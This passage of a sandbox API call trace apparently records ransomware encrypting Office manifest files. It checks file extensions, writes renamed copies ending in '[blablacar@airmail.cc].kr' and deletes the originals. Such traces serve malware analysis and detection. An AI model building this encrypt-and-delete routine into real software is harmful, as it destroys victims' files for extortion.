lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x0, lpOverlapped=0x0) returned 1 [0099.027] WriteFile (in: hFile=0x380, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0x13e, lpOverlapped=0x0) returned 1 [0099.027] SetEndOfFile (hFile=0x380) returned 1 [0099.028] CloseHandle (hObject=0x380) returned 1 [0099.051] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0099.051] SetEndOfFile (hFile=0x37c) returned 1 [0099.057] CloseHandle (hObject=0x37c) returned 1 [0099.057] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0099.057] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0000-1000-0000000ff1ce.xml")) returned 1 [0099.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0099.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0099.058] lstrlenW (lpString=".doc") returned 4 [0099.058] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0099.058] lstrlenW (lpString=".docx") returned 5 [0099.058] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0099.058] lstrlenW (lpString=".pdf") returned 4 [0099.058] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0099.058] lstrlenW (lpString=".xls") returned 4 [0099.058] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0099.058] lstrlenW (lpString=".xlsx") returned 5 [0099.058] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0099.058] lstrlenW (lpString=".ppt") returned 4 [0099.058] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0099.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0099.058] lstrlenW (lpString=".zip") returned 4 [0099.058] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0099.058] lstrlenW (lpString=".rar") returned 4 [0099.058] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0099.058] lstrlenW (lpString=".bz2") returned 4 [0099.058] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0099.058] lstrlenW (lpString=".7z") returned 3 [0099.058] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0099.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0099.059] lstrlenW (lpString=".dbf") returned 4 [0099.574] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0099.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0099.574] lstrlenW (lpString=".1cd") returned 4 [0099.574] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0099.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0099.574] lstrlenW (lpString=".jpg") returned 4 [0099.574] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0099.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0099.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0099.574] lstrlenW (lpString=".doc") returned 4 [0099.574] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0099.574] lstrlenW (lpString=".docx") returned 5 [0099.574] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0099.574] lstrlenW (lpString=".pdf") returned 4 [0099.574] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0099.574] lstrlenW (lpString=".xls") returned 4 [0099.574] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0099.574] lstrlenW (lpString=".xlsx") returned 5 [0099.574] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0099.574] lstrlenW (lpString=".ppt") returned 4 [0099.574] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0099.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0099.575] lstrlenW (lpString=".zip") returned 4 [0099.575] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0099.575] lstrlenW (lpString=".rar") returned 4 [0099.575] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0099.575] lstrlenW (lpString=".bz2") returned 4 [0099.575] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0099.575] lstrlenW (lpString=".7z") returned 3 [0099.575] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0099.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0099.575] lstrlenW (lpString=".dbf") returned 4 [0099.575] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0099.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0099.575] lstrlenW (lpString=".1cd") returned 4 [0099.575] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0099.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0099.575] lstrlenW (lpString=".jpg") returned 4 [0099.575] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0099.575] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0099.575] lstrlenW (lpString="AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 53 [0099.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0101.164] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=1261) returned 1 [0101.164] CloseHandle (hObject=0x388) returned 1 [0101.164] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml")) returned 0x220 [0101.164] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0101.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0101.165] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0101.165] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0101.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0101.165] GetLastError () returned 0x0 [0101.165] ReadFile (in: hFile=0x388, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x4ed, lpOverlapped=0x0) returned 1 [0101.167] WriteFile (in: hFile=0x38c, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0x4f0, lpOverlapped=0x0) returned 1 [0101.168] ReadFile (in: hFile=0x388, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x0, lpOverlapped=0x0) returned 1 [0101.169] WriteFile (in: hFile=0x38c, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0x13e, lpOverlapped=0x0) returned 1 [0101.169] SetEndOfFile (hFile=0x38c) returned 1 [0101.169] CloseHandle (hObject=0x38c) returned 1 [0101.171] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0101.171] SetEndOfFile (hFile=0x388) returned 1 [0101.172] CloseHandle (hObject=0x388) returned 1 [0101.172] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0101.172] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml")) returned 1 [0101.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0101.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0101.173] lstrlenW (lpString=".doc") returned 4 [0101.173] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0101.173] lstrlenW (lpString=".docx") returned 5 [0101.173] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0101.173] lstrlenW (lpString=".pdf") returned 4 [0101.173] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0101.173] lstrlenW (lpString=".xls") returned 4 [0101.173] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0101.173] lstrlenW (lpString=".xlsx") returned 5 [0101.173] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0101.173] lstrlenW (lpString=".ppt") returned 4 [0101.173] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0101.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0101.173] lstrlenW (lpString=".zip") returned 4 [0101.173] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0101.174] lstrlenW (lpString=".rar") returned 4 [0101.174] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0101.174] lstrlenW (lpString=".bz2") returned 4 [0101.174] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0101.174] lstrlenW (lpString=".7z") returned 3 [0101.174] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0101.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0101.174] lstrlenW (lpString=".dbf") returned 4 [0101.174] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0101.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0101.174] lstrlenW (lpString=".1cd") returned 4 [0101.174] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0101.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0101.174] lstrlenW (lpString=".jpg") returned 4 [0101.174] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0101.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0101.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0101.174] lstrlenW (lpString=".doc") returned 4 [0101.174] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0101.174] lstrlenW (lpString=".docx") returned 5 [0101.174] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0101.174] lstrlenW (lpString=".pdf") returned 4 [0101.174] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0101.174] lstrlenW (lpString=".xls") returned 4 [0101.175] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0101.175] lstrlenW (lpString=".xlsx") returned 5 [0101.175] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0101.175] lstrlenW (lpString=".ppt") returned 4 [0101.175] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0101.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0101.175] lstrlenW (lpString=".zip") returned 4 [0101.175] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0101.175] lstrlenW (lpString=".rar") returned 4 [0101.175] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0101.175] lstrlenW (lpString=".bz2") returned 4 [0101.175] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0101.175] lstrlenW (lpString=".7z") returned 3 [0101.175] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0101.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0101.175] lstrlenW (lpString=".dbf") returned 4 [0101.175] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0101.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0101.175] lstrlenW (lpString=".1cd") returned 4 [0101.175] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0101.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0101.175] lstrlenW (lpString=".jpg") returned 4 [0101.175] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0101.176] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0101.176] lstrlenW (lpString="AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 53 [0101.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0101.176] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=343329) returned 1 [0101.176] CloseHandle (hObject=0x388) returned 1 [0101.176] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml")) returned 0x220 [0101.176] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0101.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0101.177] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0101.177] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0101.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0101.177] GetLastError () returned 0x0 [0101.177] ReadFile (in: hFile=0x388, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x53d21, lpOverlapped=0x0) returned 1 [0101.189] WriteFile (in: hFile=0x38c, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0x53d30, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0x53d30, lpOverlapped=0x0) returned 1 [0101.198] ReadFile (in: hFile=0x388, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x0, lpOverlapped=0x0) returned 1 [0101.198] WriteFile (in: hFile=0x38c, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0x13e, lpOverlapped=0x0) returned 1 [0101.198] SetEndOfFile (hFile=0x38c) returned 1 [0101.198] CloseHandle (hObject=0x38c) returned 1 [0101.675] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0101.675] SetEndOfFile (hFile=0x388) returned 1 [0101.679] CloseHandle (hObject=0x388) returned 1 [0101.680] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0101.681] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml")) returned 1 [0101.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0101.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0101.681] lstrlenW (lpString=".doc") returned 4 [0101.681] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0101.681] lstrlenW (lpString=".docx") returned 5 [0101.681] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0101.681] lstrlenW (lpString=".pdf") returned 4 [0101.681] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0101.681] lstrlenW (lpString=".xls") returned 4 [0101.681] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0101.681] lstrlenW (lpString=".xlsx") returned 5 [0101.681] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0101.681] lstrlenW (lpString=".ppt") returned 4 [0101.682] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0101.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0101.682] lstrlenW (lpString=".zip") returned 4 [0101.682] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0101.682] lstrlenW (lpString=".rar") returned 4 [0101.682] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0101.682] lstrlenW (lpString=".bz2") returned 4 [0101.682] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0101.682] lstrlenW (lpString=".7z") returned 3 [0101.682] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0101.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0101.682] lstrlenW (lpString=".dbf") returned 4 [0101.682] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0101.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0101.682] lstrlenW (lpString=".1cd") returned 4 [0101.682] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0101.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0101.682] lstrlenW (lpString=".jpg") returned 4 [0101.682] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0101.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0101.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0101.682] lstrlenW (lpString=".doc") returned 4 [0101.682] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0101.682] lstrlenW (lpString=".docx") returned 5 [0101.682] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0101.682] lstrlenW (lpString=".pdf") returned 4 [0101.683] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0101.683] lstrlenW (lpString=".xls") returned 4 [0101.683] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0101.683] lstrlenW (lpString=".xlsx") returned 5 [0101.683] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0101.683] lstrlenW (lpString=".ppt") returned 4 [0101.683] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0101.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0101.683] lstrlenW (lpString=".zip") returned 4 [0101.683] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0101.683] lstrlenW (lpString=".rar") returned 4 [0101.683] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0101.683] lstrlenW (lpString=".bz2") returned 4 [0101.683] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0101.683] lstrlenW (lpString=".7z") returned 3 [0101.683] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0101.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0101.683] lstrlenW (lpString=".dbf") returned 4 [0101.683] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0101.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0101.683] lstrlenW (lpString=".1cd") returned 4 [0101.683] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0101.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0101.683] lstrlenW (lpString=".jpg") returned 4 [0101.683] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0101.684] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0101.684] lstrlenW (lpString="AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 53 [0101.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0101.685] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=65002) returned 1 [0101.685] CloseHandle (hObject=0x388) returned 1 [0101.685] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml")) returned 0x220 [0101.685] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0101.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0101.685] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0101.685] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, 